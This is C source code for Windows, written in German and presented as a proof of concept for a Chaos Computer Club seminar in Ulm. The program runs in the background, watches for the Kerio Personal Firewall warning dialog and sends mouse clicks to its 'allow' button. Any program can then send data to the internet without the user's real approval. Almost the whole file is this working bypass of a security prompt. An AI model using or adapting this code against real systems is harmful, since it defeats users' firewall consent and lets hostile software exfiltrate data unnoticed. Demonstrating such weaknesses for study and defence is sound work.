// Source Code "OK-Button-Klicker für Kerio Firewall" V.1.1
// Jonathan Häberle <jonathan.haeberle@ulm.ccc.de>

// Programm zum Chaos-Seminar Ulm "Personal Firewall"
// Hierbei handelt es sich um ein Proof of Concept, dafür
// dass jedes Programm trotz Personal Firewall Daten ins Internet senden kann
 

// Bug: Der Alarm-Dialog "blitzt" noch kurz auf,
//      die ließe sich noch mit einem Hook der die
//      WM_SHOW Window-Message abfängt beheben


#include <windows.h>


int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{

	MessageBoxEx(NULL,(LPCTSTR)"Der OK-Button-klicker für die Kerio Firewall läuft jetzt im Hintergrund",(LPCTSTR)"^_^", NULL, NULL);

	while (true) {
	
		HWND w = FindWindowEx(NULL,NULL,NULL,(LPCTSTR)"Kerio Personal Firewall Warnung [p8@]");
		if (w == NULL) {
			Sleep(100);
			continue;
		}

		// wähle alles erlauben aus
		HWND cb = FindWindowEx(w, NULL, NULL, (LPCTSTR)"&Zulassen");
		if (cb == NULL) {
			MessageBoxEx(NULL,(LPCTSTR)"Kann den zulassen Button nicht finden!",(LPCTSTR)"Geht ned :-/", NULL, NULL);
			return 1;
		}

		// auf zulassen klicken
		SendMessage(cb,WM_LBUTTONDOWN,NULL,NULL);
		SendMessage(cb,WM_LBUTTONUP,NULL,NULL);

	}

	return 0;
}


